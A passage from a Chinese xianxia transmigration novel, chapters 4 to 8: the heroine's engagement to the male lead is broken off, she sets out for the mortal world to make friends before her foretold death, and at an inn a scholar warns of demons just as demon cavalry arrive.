“小王女赤手空拳取火却毫发无伤,怎么不算一桩缘法?”
明鹤璋嗤之以鼻:“谁知道是正缘还是孽缘。”
明鹤璋显然没心思陪他爹唠家常,瞪着叶星簌冷哼一声。
“说起来,解除婚约本就是皆大欢喜的事,小王女自己也希望这桩婚约不作数吧。”明鹤璋沉声道,“人间传言,无垢火有活死人肉白骨的奇效,能叫人死而复生。小王女盗走无垢火,想必也是听信了这个传闻——”
叶星簌眼皮一跳。
明鹤璋上前两步,直直地看向她:“小王女下凡历劫时,爱上了一个凡人。你盗走无垢火,就是想让他死而复生!聂阳王女,我说的不错吧?”
不愧是男主,这嗓门,掷地有声。这两句话说的真是中气十足,说完后整个大殿都静得瘆人。
两位长辈的目光瞬间都落在她身上,满满的震惊和不可置信。
她下意识看向明鹤璋,对方嫌弃一甩头,拒绝对视。
她怎么就把这茬给忘了呢?
两个人是一同渡劫的,人间发生了什么明鹤璋最清楚不过。明鹤璋可是眼睁睁看着自己的未婚妻和别的男人相许终身啊!
回来后肯定怒不可遏。
他是谁?堂堂大男主啊!以后收入后宫的妹子多到数都数不过来。
只有他跟这个啵啵、跟那个亲亲的份儿,被未婚妻绿了这种奇耻大辱,不在他能接受的范围之内。男频大男主,可杀可辱不可绿。
真是心累,她还没嫌他未来可能烂黄瓜呢,他倒是先在意起一个早就魂飞魄散的凡人!就是说破天,他俩顶多只算半斤八两好吧。
头上还顶着两道直勾勾饱含询问的目光,聂阳王君皱眉低声问:“簌儿,殿下说的可是真的?”
叶星簌心一横,她还是直接摆烂吧。
于是轻轻地点了一下头。
两个老男人倒吸一口凉气,明鹤璋摆出一副“我就知道”的死样子冷嗤一声。
……
叶星簌从九重天回来之后就坐在桌边跟无垢火大眼瞪小眼。
没能如愿把它还回去不说,反倒还多带回来一只乾坤珠。
剧情似乎以一种诡异的方式,保持主线不变——无垢火还留在她手里。
还有婚约,应该也会像原剧情一样成不了了,本该女配说的话全被男主叭叭叭讲出来了,但效果应该没差。毕竟当时天君和聂阳王君的脸色都不怎么好看。
那接下来该怎么办?
思来想去,叶星簌不得不承认,没准她的结局还是原书里的死法。虽说现在有了乾坤珠镇火,但她没敢抱有丁点的侥幸心理。
叶星簌捏着乾坤珠上下左右端详,如此好用的一件神器摆在屋里有些可惜。她想了想,摘下发髻上的玉簪,簪尾恰好是镂空的。
叶星簌捏诀将乾坤珠缩小嵌进簪子,又将无垢火收入其中。
叶星簌捏着簪子转了转,思绪渐渐飞远——
捋捋日子,按照原书中的剧情发展接下来应该是这样:她从九重天回来后没几天,明鹤璋找过来,紧接着无垢火就掉下去了。
人间大火足足烧了两个月,然后男主觉醒神剑血脉救世救火,最后就是把她薅到天上提剑捅个对穿。
叶星簌不奢望自己能苟命,必须得做好最坏的打算。
她莫名地想起了前世看过的一句话:如果提前知道自己的死期,你是会崩溃自缚,还是放纵洒脱?
彼时,她思考很久也没法作出最符合自己心意的回答,谁知道当这个假设前提真的成立时,她依然不知道答案。
还有两个月……
叶星簌既没有肆意挥霍金银的欲望,更没有去看遍万水千山的闲情逸致。
她思来想去,突然想到一个问题——
两个月之后,自己否拥有一场稍微体面些的葬礼?
死不死倒是无所谓了,怎么死是个问题。她好歹是个穿书人士,好赖也在人间支楞那么久了,没道理必须按原书窝窝囊囊地死去。
顶着聂阳王女的名头,自然有人点头哈腰地捧着
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哄着。可当她真的成为一具枯骨,又有谁会发自真心地在葬礼上为她难过?
哪怕只有一点点难过。
想着想着,叶星簌撇撇嘴,因为她发现了一件更凄惨的事:
别说有没有人为她难过了,有没有人来参加她的葬礼都很难说。
叶星簌的目光飘到门口,白霓抱着剑,门神似地杵在檐下。她吗?估计不行,白霓就是个机器人,完全没有感情,在她心里只有聂阳王君的命令。
叶星簌又想起叶珍钰,一想到她,脚腕就隐隐泛疼。叶珍钰恨不得忤逆父亲也想把她杀了,在阿姐眼里,她就是个死不足惜的畜牲。
聂阳王君和王妃?说实话,聂阳王君说话行事太瘆人,很多时候,叶星簌根本不懂他在想什么。还有王妃……叶星簌微微蹙眉,几年前,夫妻二人就离心了,王妃心灰意冷后独自去往天竺伴佛,除了大女儿,不见任何人。
那还剩下聂阳王城的仙侍们?直接不用考虑。叶星簌有多恶毒,没人比仙侍们更清楚。这些年,仙侍们死了一茬又一茬,她们只会踩上她的坟头叉腰大笑。
……
想来想去,叶星簌震惊地发现,她身边居然连一个人选都找不出来!
好可怜。
好可悲。
她甚至开始考虑其他仙域的仙娥了。实在不行就等下次叶珍钰赴宴时,自己死皮赖脸地跟上,然后死皮赖脸认识一个朋友。总有心软的人,总会在她的葬礼上难过一下下吧。
可……
叶星簌心里明白,这个法子更行不通。
聂阳王女臭名昭著,其他仙域的人都躲着她走——毕竟她曾因为嫉妒,剥掉青丘一只小狐狸的脸;以及因为嫌吵,杀了昆仑玉池的所有仙鹤……
类似这些,不胜枚举。
谁愿意跟她做朋友那才是脑子有病。
四海八荒这么大,怎么连个朋友都找不到?
叶星簌泄气,用手支着脑袋,突然灵光一闪。
这些神仙们不行,不是还有魔族吗?如果魔族也不行,不是还有度朔山的一群鬼吗?
她那点事迹在这些魔啊鬼啊跟前简直就是班门弄斧,他们总不会嫌弃她吧!大家都是一丘之貉,谁也没资格嫌弃彼此龌龊。
叶星簌瞬间满血复活,叫白霓拿来六域地图开始研究。
两个月时间说长不长,说短不短,她得抓紧时间赶紧行动。
为了让葬礼热闹一点……
为了找到那个虚无缥缈的、这世上唯一为她稍稍难过的人。
或许,根本不存在的人。
5. 第 5 章
九重天传来退婚的消息。
明鹤璋说什么都不愿娶叶星簌,那个凡人的存在于他而言简直如鲠在喉。天君百般相劝,说下凡渡劫时就是个失忆状态,谁还记得自己身上有桩婚约?况且人家小姑娘年纪还小,忍不住多看两眼别家小子再正常不过。
可无论怎么说,明鹤璋就是不干。
堂堂天君之子被嫌弃不如一介凡人,传出去就是四海八荒的笑柄。
再说,那叶星簌是什么人?
九重天有个仙君跟人嚼舌根时,这么打比方:
就连魔尊那个獐头鼠目的胖儿子都知道爬山用脚,偏就聂阳王女的脚金贵,哪座山敢让大小姐爬,大小姐立马就把山铲平,还顺便把山神打进十八层地狱。
今天把海都鲛人杀了,明天把青丘狐狸废了,时不时还有一些小门小派惨遭灭顶之灾……聂阳王女为非作歹的理由也很荒谬,因为想要鲛珠、因为嫉妒狐狸的容貌、因为谁谁谁有眼无珠不向她行礼……
恶行累累,罄竹难书。
明鹤璋又不是聋子,这么些年,他顶着“聂阳王女未婚夫”的名头,走到哪儿都被人指指点点。许下婚约多年,二人的关系却越发疏离尴尬,明鹤璋只恨不得把这桩婚事拖到地老天荒。
谁让他父君像被灌了迷魂汤一样呢?
可更主要的原因在于聂阳王君。
这些年来,他才是聂阳王女横着走的底气。无论叶星簌作了什么孽,都有这个战神爹跟在屁股后面收拾烂摊子。
父君曾经隐晦表示,叶星簌那些恶行说到底都是茶余饭后的闲话。她作恶无数的流言传得神乎其神,实则桩桩件件站不住脚,没有证据,更没有一个苦主闹到台面上来,但凡有人正儿八经地来九重天呈递证据告状,天君都不会坐视不理。
可偏偏就是没有。
青丘也好,叫不上来名字的小门小派也罢,竟都跟哑巴了一样打碎牙齿往肚子里咽。
失望和怀疑,都是慢慢累积起来的。
若非明鹤璋与鲛族王子宓衡相识多年,他也可以理直气壮地说那些传言假到离谱。可他太了解好友的性情和为人了。宓衡从来都最袒护叶星簌,也时常在他二人之间斡旋调和。
前一天,宓衡还说要和叶星簌告别之后就回海都,第二天他就莫名其妙地魂飞魄散了。
宓衡死得蹊跷,而所谓升阶走火入魔的说法也很荒谬。
直觉告诉他,宓衡的死不可能和叶星簌无关。
此事毫无证据却让他如鲠在喉,奈何父君信守承诺,不愿随意解除婚约。
婚约始终是明鹤璋的心结,想起来他就寝食难安。
然而没想到的是,渡个劫回来倒是送给他一个意外之喜。叶星簌移情别恋是个绝妙的理由,而且她也不负所望,为了心上人犯蠢,居然把无垢火给偷了。
机会都往他眼前送了,不好好把握那才是蠢货。
于是,明鹤璋态度坚决,天君扭不过他,又回想大殿上那小丫头“含羞带怯”的模样,心道奈何这二人有缘无分。
强行将他们绑在一起,日后怕是只能多一对怨偶。
也罢。
天君过意不去,生怕伤到小姑娘的脆弱心灵,特地遣了位有头有脸的仙君,带着一堆奇珍异宝来聂阳王城,说了一堆冠冕堂皇的好听话,总而言之就是要解除婚约。
聂阳王君沉着脸一声不吭,仙君的脸都快僵了,强颜欢笑地对叶星簌道:“天君说了,王女有什么想要的补偿尽管开口,九重天一定满足。”
“天君好意,臣女感激不尽。”叶星簌婉言道。其实说白了,这件事她不占理,天君可以客套两句,但她不能蹬鼻子上脸。
仙君离开时,又满头冒汗地加了一句:“小王女,还有一事,先前六殿下对您出言不逊,天君已经责令他闭门思过。过些日子,再让殿下亲自登门赔罪。”
叶星簌只听到了“登门”两个字。
叶星簌连连摆手:“不不不,没有出言不逊,没有的事!不必劳烦殿下!”
她就知道,剧情在以一种诡异的方式贴合主线!她、明鹤璋、无垢火、退婚这几个关键要素都齐全了,就差她手一滑“不小心”让无垢火掉下去。
不行!
聂阳王城庙小,暂时容不下明鹤璋这尊大佛。
可这白胡子仙君兴许是年纪大了,愣是没听懂她的意思,甚至还用一种安抚的语气道:“王女且宽心,届时定叫六殿下备厚礼登门。”
叶星簌心累:
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“……”
送她一个“为祸人间、罪魁祸首”的罪名作厚礼吗?
待仙君离去,叶星簌给聂阳王君倒了一杯水。老父亲的面色这才有所好转,一拍桌子,重重一哼:“不识抬举的东西!”
是在骂明鹤璋。
叶星簌没说话,聂阳王君欲要发怒的脸忽地变成关切,问道:“簌儿可是伤心了?”
怎么可能。
叶星簌摇头,委婉道:“女儿与殿下有缘无分。”
聂阳王君压着怒火,道:“既如此,这桩婚事不成便不成吧。为父向来都瞧不上那小子,他还不如头上几个哥哥有能耐。”
聂阳王君微眯着眼,思量片刻,“簌儿觉得昆仑的玉清君如何?素闻那小子模样周正,有不少仙娥喜欢。还有,听说不久前飞升上来一位仙君,在人间有‘看杀卫玠’的美名。哦对了,为父瞧着青丘和有苏的公狐狸长得都不赖,簌儿若是喜欢,聂阳招赘未尝不可……”
叶星簌:“……”
显然,聂阳王君挑女婿的标准只有一个——长得好。虽然她也喜欢长得好的。
但她现在完全没心情考虑什么仙君、什么卫阶、什么公狐狸。
明鹤璋要来了啊啊啊!
她死不要紧,天下百姓怎么办?
哪怕这场浩劫是男主血脉觉醒的契机。在原书里,明鹤璋的确是救了天下苍生,但在此之前,百姓是怎么熬过那生不如死的两个月呢?
大劫之后,九重天之下,那些看不到的四野之间,百姓要流尽多少血泪才能接受至亲离世?又要付出多少代价才能重建家园?
那是真真切切的两个月,而非书里轻描淡写的三个字。
顶着“聂阳王女”的名头,连死都不能任性。
叶星簌思来想去,以防万一,还是找借口开溜吧,惹不起躲得起,起码要避一避明鹤璋。
至于原著,管它呢。
剧情崩了就崩了吧,没崩也最好崩了,人间大劫最好拖到永远不会到来的那天。
聂阳王君正在思考是青丘的公狐狸好看,还是有苏的公狐狸更俊。
叶星簌冷不丁开口:“父亲,我想去外面走一走。”
聂阳王君一愣:“你说什么?”
6. 第 6 章
叶星簌从小到大没出过远门,唯一离家时间较久的一次便是下凡历劫。
心中有了打算,但她还没想好应付聂阳王君的说辞,肯定不能把真实想法说出来。说什么“为了有人来参加我的葬礼,我得去交朋友”?不用想,这话一说她连自己的房门都出不去。
“我想出去散心,随意走走,看看风景什么的。”她含糊道。
聂阳王君刚熄灭的怒火又烧起来,“……簌儿还是放不下明鹤璋那小子?”
叶星簌无奈道:“跟六殿下无关。父亲,我自小没有独自离开过聂阳王城,所以特别想去外面看看。”
“既然不是因为明鹤璋……”聂阳王君刚想发火,转而想起什么,一副若无其事的模样沉吟道:“那个孩子是个什么样的人,簌儿可否跟为父说说?”
孩子?什么孩子?
叶星簌疑惑:“父亲问的谁?”
聂阳王君道:“明鹤璋说的那个凡人……簌儿,当真有这么一个人吗?”
叶星簌沉默了。
“为父知道了。”在聂阳王君眼里这就是默认。
男人沉思良久,又问:“这一行,你是想去人间寻找他的转世吧?”
叶星簌一愣,她爹的脑回路歪打正着帮大忙了。她正愁没个合适的理由,这下好了,都不用费脑子编了。
于是,叶星簌装模作样地轻轻颔首。
“可簌儿要明白一件事——他是凡人,就算找到他又如何?他会一遍又一遍步入轮回,然后一次又一次把你忘掉。”聂阳王君无奈道,“历劫时的际遇不过是漫长仙途的沧海一粟,再难忘的经历、再无法割舍的情意都抵不过时间。等过些日子你就会发现,很多曾经以为的大事想都想不起来了,不必太往心里去。”
“可是女儿只想再见他一面。”叶星簌知道他说的很有道理,但也被自己演技打动了。
聂阳王君慈爱的目光凝着她,片刻后苦笑道:“簌儿长大了,不知何时竟有了自己的心上人,也会被情之一字烦扰。”
“也罢,”聂阳王君笑道,“想去便去吧,等你找到他,一定要把人带回家,为父倒要看看那小子到底有何过人之处,竟能入了吾儿的眼。”
叶星簌笑了笑,“嗯。”
聂阳王君笑着摸摸她的发顶。
……
聂阳王君打算让一队仙侍陪同,但叶星簌只想一个人清净清净。父女二人争论许久,最终各退一步,只让白霓一个人跟着。
出行那日,叶星簌收拾好行囊。
白霓原本打算捏个传送诀,但被叶星簌拦下了。
叶星簌还有另外的打算——
登仙梯塌了之后,她并不确定人间是否真的无恙,说不定聂阳王君是在哄她。不亲自瞧一瞧,她实在放心不下,此去魔城,正好顺路看看人间世情。
她刚从院中出来,遥遥看见连廊下立着一道素白身影。
叶星簌意外,来人竟然是叶珍钰。
叶珍钰负手站着,整个人如同笔挺的青竹,但眼神很冷。
“阿姐。”叶星簌乖乖唤人。
叶珍钰轻轻一哼,用看仇人般的眼神瞥她一眼,开口不耐:“偷了无垢火还没消停两天,现在又想干什么?”
叶星簌正欲上前。
叶珍钰眉眼中的嫌弃袒露无疑,攥着长鞭,“啪”地一声狠狠甩在她的脚边,叶星簌步子猛滞。
“叶星簌,父亲纵容你,但我不会。人间一行,你的真实目的是什么我不知道,但我丑话说在前面,倘若你敢任性妄为伤及百姓一根头发,我绝不会手下留情。”
叶珍钰凉薄启唇,冷冷道:“你该知道,我对王君之位不感兴趣,所以并无后顾之忧,哪怕父亲废了我也无所谓。你最好学聪明一点,不然,我真的会杀你。”
撂下一通嘱咐和威胁,不待她回答,叶珍钰便直接转身离去。
叶星簌站在凉风之中,望着她瘦削的背影,无奈笑笑,转头一看,白霓正苦大仇深地瞪着前方,不由好奇问道:“你这是什么表情?”
白霓微微低下头,语气笃定道:“小王女,属下迟早会替您解决了她!”
“什么叫‘替我解决’?”叶星簌好笑地重复这几个字,随即笑意一敛语气平淡道:“我不爱听这种话,还有,你最好把这种想法从脑子里抹干净。”
白霓不甘又不解:“王女……”
叶星簌笑眯眯地打断她的话,语气轻飘飘道:“否则在你动她之前,我会先废了你。”
白霓一愣,旋即低下头:“属下知错。”
叶星簌温和道:“知错就好,不过还要看你以后的表现。”
……
“王女留步。”
叶珍钰刚走没多远,就被一道沙哑的声音叫停脚步。
她皱眉看向来人。
对方是个女子,身形消瘦,看起来年龄不大。
“臣下见过王女。”
叶珍钰:“你是何人?”
对方不答,只是掏出一瓶药膏,道:“王女,此物出自药神之手,治外伤有奇效,请您收下。”她看了眼叶珍钰被打耳光的那侧脸,低声道:“王上是个粗人,动起手来没有分寸,神力留下的伤不好痊愈,也就这个药有用。”
不等叶珍钰说话,女子立刻上前把药塞进她的手里。
叶珍钰一头雾水:“等等,你到底是谁?”
“谁让你给我送药的?”叶珍钰心神一动,有些惊讶地问道:“你是阿娘的人吗?”
女子不再多说一句,飞快地行了个礼便匆匆离去。
另一边,叶星簌主仆二人缓缓踱过连廊,走到结界处,一个魁梧结实的汉子满脸堆笑地迎了上来。
男人笑起来脸上横肉都在抖,点头哈腰:“小王女千金之躯,就该在王城娇养着,怎么突然想出去散心了?不瞒您说,臣下常年在外奔走,人间也乌烟瘴气的,只怕王女看了心烦。”
这人始终咧着一口白牙笑着,一道狰狞的刀疤如同凌厉笔锋般斜着划下,虬须几乎布满整张脸,张开嘴就是扑面酒气。
叶星簌嫌弃地偏头。
此人是聂阳王城的邢堂掌事,也是聂阳王君的左膀右臂,名为金峻涛。
他是妖兽祸斗的族人,因祸斗在三万年前惹怒初代魔尊,其族人只能隐姓埋名苟且偷生。某次众仙游历六界,金峻涛意外得到聂阳王君的赏识,被破例招揽至麾下。
此人倒是表里如一,行事也和长相一样阴险下作。
“簌儿瞧见你就心烦,还不识趣滚远点。”聂阳王君冷漠的声音传来。
过于夸张的笑容微微僵在金峻涛的脸上,他用一种野兽般的
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眼神直勾勾地凝着叶星簌,突然一巴掌甩在自己的脸上,颔首阴鸷道:“臣下知罪。”
叶星簌不想继续被他碍眼,脚步不停地往前走,冷漠道:“既然知罪还不退下。”
“是、是,臣下遵命。”
金峻涛的脊背伏得更低,身形一动,如鬼魅般消失了。
“下人若是有哪里伺候不周,随你打杀惩戒,不值当为这些小事生气。”聂阳王君上前,不舍地揉了揉女儿的头发。
叶星簌又想起那个被剥了皮的侍女,抿了抿唇,“我没生气。”
聂阳王君不置可否,倒也没有继续这个话题,道:“若是觉得路上辛苦,就早些回家。”
叶星簌:“嗯。”
“簌儿还没启程,为父便已记挂尤甚。这一路也不知会遇上多少险阻,为父实在放心不下。”
叶星簌无奈:“我只是出去随便走走,又不是历练,不会有麻烦。”
聂阳王君看出了她的不耐,笑了笑,“原来是为父惹簌儿不高兴了,好好好,为父不啰嗦了,你早去早回,别太贪玩。”
“嗯,我知道。”
下人牵来马匹,油光水滑的皮毛如同搽了一层油。叶星簌不由伸手摸了摸马儿的结实有力的后背,现在就剩一个问题:
她没骑过马。
不过没吃过猪肉也见过猪跑,要不让白霓在路上教她好了?感觉也不难学。
聂阳王君似乎看穿了她的想法,直接把马鞭递给她,“不用特地学,它们很听话,骑上去就听你的。但这些坐骑刚开灵智,到底不如仙法方便,簌儿若是玩累了,直接捏个诀日行千里,用不着委屈自己。而且它们自己也能回来。”
叶星簌向他告别。
“去吧。”聂阳王君含笑叮嘱道:“簌儿,此行若是遇到不长眼的狗,不必忍气吞声。”
叶星簌随口道:“有些麻烦还是能少就少。”
“你是我的女儿,身在其位,什么麻烦都无所谓多少。”聂阳王君意味深长地看着她,淡声道,“簌儿该知道,只要你愿意,天下神魔皆可杀。”
明明是轻描淡写的语气,却让叶星簌双眸微睁。
她不动声色地退开些距离,她爹这个神经病又开始瘆人了。
……
聂阳王君负手而立,看着女儿的身影渐渐在结界外消失,半晌,男人寒声道:“出来吧。”
方才退下的金峻涛突然从角落里出现,无声无息地上前,整个人散发阴诡的气息,声音低沉:“参见王上。”
聂阳王君漫不经心道:“远远跟着,如果真的被她找到了那个人,处理掉。”
金峻涛满眼兴奋,咧嘴一笑:“属下明白。只是……小王女那里该怎么交代?”
“蠢货!谁让你当着她的面动手?”聂阳王君突然抬起脚,狠狠将人踹翻,“那人的肉身随你折腾,剁碎喂狗都行。把三魂七魄带回来,本王另有用处。”
“至于簌儿……”聂阳王君沉吟道,“她刚历劫回来的时候,为了那人伤春悲秋闹得天翻地覆,还差点废了本王百年修为……
“罢了,她现在安安静静也不像完全想起来的样子,暂时别刺激她。”
啧,不让当面杀啊,这多没趣……
金峻涛趴在地上,颇遗憾道:“王上放心,臣下定不辱命。”
7. 第 7 章
夜幕深深,人间落了一场大雨。
官道旁稀稀落落的庄子散布着,勉强证明这附近还有人气。一座破烂客栈在风雨中摇摇欲坠,昏黄的灯光从门窗的缝隙逸出。十几个赶路的人被困在原地,吵吵嚷嚷地聚在客栈里等待雨停。
叶星簌主仆二人的位置在角落,却因打扮出众格外瞩目。
一个是大家小姐模样,身穿轻纱缓袖的淡蜜黄裙,浑身素净却像极了仙人。她戴着帷帽,严严实实地挡去一众探究的目光。
另一个则满身散发生人勿近的冷意,银面具挡住半张脸,一手按在腰间的佩剑上,随时一个不耐烦的眼刀飞过去,吓得满堂好奇的人纷纷低下头慌忙吃菜喝酒。
叶星簌对此视若无睹。
小二极有眼力见,心知这对主仆非富即贵,忙不迭上前:“两位姑娘见谅,天晚了,小店剩的吃食不多,您二位想吃点什么?”
叶星簌看了眼旁桌,随口问:“你们这儿有热酒吗?”
店小二搔搔脑门,讪笑道:“姑娘见谅,小店寒酸,有的都是些辣嗓子的劣酒,怕您喝不惯。”
叶星簌摸出一块碎银,道:“罢了。两碗素面,剩下的劳烦喂喂马。”
小二连忙接过银子:“好嘞好嘞!两位稍坐。”
叶星簌颔首。
人一走,立在旁边的白霓不解皱眉道:“王……”
叶星簌端起杯子,打断:“我路上说过的话全忘了?”
白霓懊悔自己的失言,立即改口道:“姑娘,您何必委屈自己?人间吃食大多糙得难以下咽,王上令属下带了不少仙浆玉露,要不您还是用这些吧?”
叶星簌:“你先坐下。”
“属下不敢。”
叶星簌道:“别犯倔啊,没瞧见你我这一身行头有多惹眼吗?还有你的面具和剑,看着就吓人。”
白霓浑不在意:“若是这些人令姑娘不快,属下……”
“你想怎么着?这是在凡界。你要是特别想尝尝堕仙台或者雷部神罚的滋味呢,我也拦不住你。”叶星簌只想翻白眼,语气严肃几分:“坐下,这是命令。”
好不容易让这个犟种坐下来,大堂内的压迫感得以退去,周遭气氛也隐隐活络起来。
两碗素面很快被端了上来。偌大一只碗里,飘着几根可怜兮兮的青菜叶子,烛火之下只有丁点油花微微泛光。
白霓盯着完全没有颜色的面条直皱眉头。
叶星簌笑了笑,用热水烫过筷子后递给她:“大半夜在这荒郊野岭,有口吃的不错了,你看他们吃的也是这些。”
白霓的眉毛拧得更深,平平无奇的清汤面,却让她家王女完全忘了自己的高贵身份。
叶星簌把帷帽撩开,挑起一根面,笑着劝道:“仙家早早便辟了谷,平日里顶多就是喝点仙浆玉露,殊不知少了多少乐趣。相信我,凡人最厉害的功夫就是做吃的。”
叶星簌兴致勃勃道:“如果有机会,咱们可以去人间王城玩一圈,去最繁盛的地方、最名贵的酒楼。听说淮扬那边有道什么鸡汤豆腐很好吃,还有金陵的美食也特别有名……”
小主人突然喋喋不休起来,白霓不明所以,只好闷声道:“属下遵命。”
约莫过了半盏茶时间,大堂某处突然传来一道粗犷声音,大喝道:“我兄弟几人看你可怜,好心请你喝酒吃肉,你这穷酸书生莫不是中邪了?尽说些胡话!”
闻声,客栈众人都看向声音传来那处。
叶星簌也放下筷子。
大厅最里面拼桌的几人发生了冲突。几个魁梧汉子全都面色不善,仔细一看,角落里还缩着个人。
那人样貌斯文老实,身形瘦矮,黑漆漆的眼睛似乎陷在颧骨里,穿着打扮倒是干净利落,像个读书人,在这一堆赶路的粗糙汉子里显得体面不少。
最开始呵斥的汉子又出声:“你这书生怕不是读书读傻了!好好的阳关大道不让走,偏偏要我们走什么山道?!”
汉子似乎气急了,高高扬起手臂,一副要打他的模样。
书生脸上一慌,立即蜷地上抱着头,大声嚷嚷:“你才傻了!要不是看在那几块牛肉的份上,老子才不稀得救你们……别别别打,我怕疼……”
听见吵闹的小二和掌柜慌忙出来拉架,一时,厅堂内乱糟糟的。
有人解围,书生一矮身,手脚并用从人群中钻出来,飞快跑上楼梯,倚着扶手嚷嚷道:“我说你这个汉子忒性急!老子好心救你,你却以为我惦记你镖车上的仨瓜俩枣?谁稀罕这些玩意儿!”
汉子一声怒喝:“你!”
好在客栈有人热心劝和,有人拉住盛怒的汉子,劝道:“大家都是赶路躲雨的,聚在这客栈也算有缘,都和气点好好说话……”
天边乍然响起一声闷雷。
“懒得跟你们计较,说正事!”书生突然提了声量,抖抖袖上灰尘,慢条斯理地撑着扶手看向所有人。
众人下意识看向他。
“在座诸位,有谁是和这几位押镖的兄弟一样,此行是打算往西北方向去?”
书生一副没什么阳气的模样,整个人怪里怪气。他这一通发问,倒是真唬得几个人愣愣地举起手臂,如实道:“我。”
“我要去探亲。”
“还有我,我要去收点山货……”
还有几个人想要开口,书生显然没什么耐心了,“行行行,不用说了,老子不管你们是去走镖还是经商,总之就一句忠告——”
“最近一段日子,想活命的,千万别再往北走了。”
他的话刚落,天边炸响一道惊雷,吓得所有人倒吸一口凉气。
叶星簌摘掉帷帽,定定看向书生。一路向北,过了瓦子隘,不多远就是小玄山。
人魔两境以山为界,以南是绿意漫野的人间大山,以北是黑雾缭绕的魔族荒岭。
因为有仙家设下的结界在,普通百姓并不知晓、也永远不会抵达真正的山那边。就算谁刻意去到北山,也是在仙家设的障眼法里打转而已,一路还有地仙悄悄指引保护,很快就能安然无恙地出来。
走镖过路一般要绕半个小玄山,但受北面砾岩断崖的地形限制,一般没人会傻到一头扎进北山。
更何况还有地仙守着,这些年都没出过差池。
叶星簌不动声色地放出神识,很快又收了回来。她可以确定,这书生的的确确是个凡夫俗子,非仙非妖非鬼非魔。
但他似乎知道些什么。
客栈内安静几息。
但很快,惊惶狐疑的声音四下响起。
“你什么意思?”
“啥、啥叫想活命就别往前走了?”
“你这书生说个话不清不楚,莫不是想故意吓人?”
“……”
有人被他这神神叨叨的语气吓到,也有人像那几个押镖的汉子一样,以为他是在妖言惑众。
“你们这群村野莽夫听个话怎么那么费劲?”书生又气又急道:“知道北边是什么地方吗?魔族!魔族啊!往北是小玄山,小玄山知道吗?山那边,就是枯邕城!”
掷地有声的“枯邕城”三字一出,满堂是死一般的冷寂。
书生抖了抖袖子,随意拨拉一下头顶乱发,踩着楼梯往下走,道:“但凡能在世上喘口气的,应该无人不知枯邕城吧。”
枯邕城是在魔族轶闻中出现最多的名字,据说,那是通往魔域王城的必经之路。千年来,仙家无数次地想要伐魔,但至今连枯邕城都过不去。
多少与天同寿、修为极高的仙君在此城神殒。
烛火猛地一曳,如同一激灵。
书生凉飕飕的声音继续传来:“枯邕城如今的城主是魔尊的膝下老幺,一个天生没有魔骨的废物。魔尊嫌他没用,便把他流放到此守城。”
叶星簌的目光越来越严肃。
天生没有魔骨的魔尊幺子……这些事情她第一次听说。仔细想想,无论是聂阳王城还是九重天,从来没人提起过这些。
甚至,她一目十行看的原书也没有提过。
这个书生到底是什么人……
书生还在继续喋喋不休:“当然,那废物倒是不值一提,没有
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魔骨算个屁的魔!但废物之所以是废物,就是说明他连守城这点小事儿都做不好。”
“几日前,枯邕城出了点祸事,城里乱成一锅粥。魔尊大怒,特地遣派最器重的大儿子——就是如今的魔族少尊——让他过来治那废物半魔的罪。”
“你们打听打听就知道,这几天附近村里丢了不少人,还有许多过路的也都活不见人死不见尸。其实,他们就是被魔族掳走了!”
书生沉声道:“估计是那废物半魔知道自己守城不力惹怒魔尊,只剩死路一条,现在就是在发疯到处抓人陪葬呢!”
他的语气不似作假,果然,不少人惊惧地瞪大双眼,抖抖瑟瑟发问:“真、真的假的啊?”
“假的吧,书生编的吧……”
“这这这莫不是新时兴的话本子,书、书生,你莫要吓唬人!”
虽然不少人还持怀疑态度,但有人却信了七七八八,抖着嗓子道:“……最近真有人死了?”
有人尖叫一声,惊恐道:“我下午路过东边那个村子,好像是听人说起过,村里有两户人家一夜之间不见了!一夜之间啊,家里不论男女老少,全都消失得干干净净!”
店小二也吓得直哆嗦,惊恐地看向掌柜:“掌柜,这书生说的不不不会是真的吧?那几个常来打酒的大爷,最近好像都没见着……”
“这……”掌柜睁大了眼,双手抖了抖。
乱七八糟讨论的声音响起,连烛火都在发颤。
忽然,惊雷乍响,罡风骤起。
凉风携雨袭入客栈,“噗”地一声,所有蜡烛都熄灭了,众人顿时陷入伸手不见五指的黑暗里。
惊叫声瞬间充斥入耳。
叶星簌始终纹丝不动地坐着,皱眉看向电闪雷鸣下一张张惨白的脸。她耳尖一动,猛地起身推开虚掩的窗格,目光凝在蜿蜒长路的尽头。
瓢泼大雨如同铜墙铁壁,什么都看不见。
书生满脸皮肉一颤,突然大声道:“闭嘴!全都闭嘴!”
众人一愣,尖叫声生生停下。
书生直接趴下,耳朵贴着地面听了听,随即一骨碌坐起来,满脸惊慌:“坏了坏了!魔族!是魔族来了!”
事发突然,人们压根没反应过来。
“不应该啊……”书生哆哆嗦嗦,“魔族忌惮九重天,只会偷偷摸摸挑落单的人下手,绝不会大张旗鼓来掳人……”
黑暗中,惧意在迅速蔓延。
又有人哆哆嗦嗦尖叫出声。
叶星簌不用回头都明白原因——
脚下地面在震动。
她仍立在窗边向外看。
白霓“铮”地拔剑,低声道:“王女,的确是魔族的气息。”
叶星簌皱眉“嗯”了一声。
那边,书生突然急中生智,大声喊道:“谁知道附近有什么神庙道观吗?”
店小二颤声道:“西、西边山上有个废庙,但不知道供奉的是哪路神仙。”
“行行行!是个有仙气的地方就行!”书生瞬间满脸死里逃生的狂喜,“所有人赶紧跟我走!”
他一发话,满厅的人终于反应过来,要逃!赶紧逃!眨眼间,所有人一窝蜂地冲入大雨之中。
方才还座无虚席的客栈唯剩酒菜温热。
待众人的身影在雨幕中消失不见,叶星簌才坐回原位,慢条斯理地继续吃面。
“白霓,你跟上去,确保他们顺利抵达庙里,以防万一记得在周围贴上符纸。倘若遇上魔族强闯,就地诛杀。”叶星簌清冷的视线看向众人逃散的方向,“另外,盯住那个书生。”
白霓:“可是您的安危……”
“我的安危好像不需要担心。”叶星簌道,“魔族贸然犯境,应该已经惊动镇守此地的仙君了。另外,魔族突然抓那么多凡人,不太对劲,我得看看他们到底有什么目的。”
客栈外,从北边传来铁骑奔袭的声响,愈来愈近。
“没有大魔。”叶星簌侧耳听了听,有些意外,不过还是嘱咐道:“你去吧,保护好他们。”
“是。”
8. 第 8 章
长风骤雨间,魔气从官道上蔓延开来。黑甲铁骑重重踏在泥泞不平的地面上,刀剑与铁甲碰撞,铮鸣作响。
未见其人,先闻其声。
叶星簌觉得好笑,大半夜的排场倒是不小。
一阵阴鸷的声响传来,那是蛇吐信子的声音。
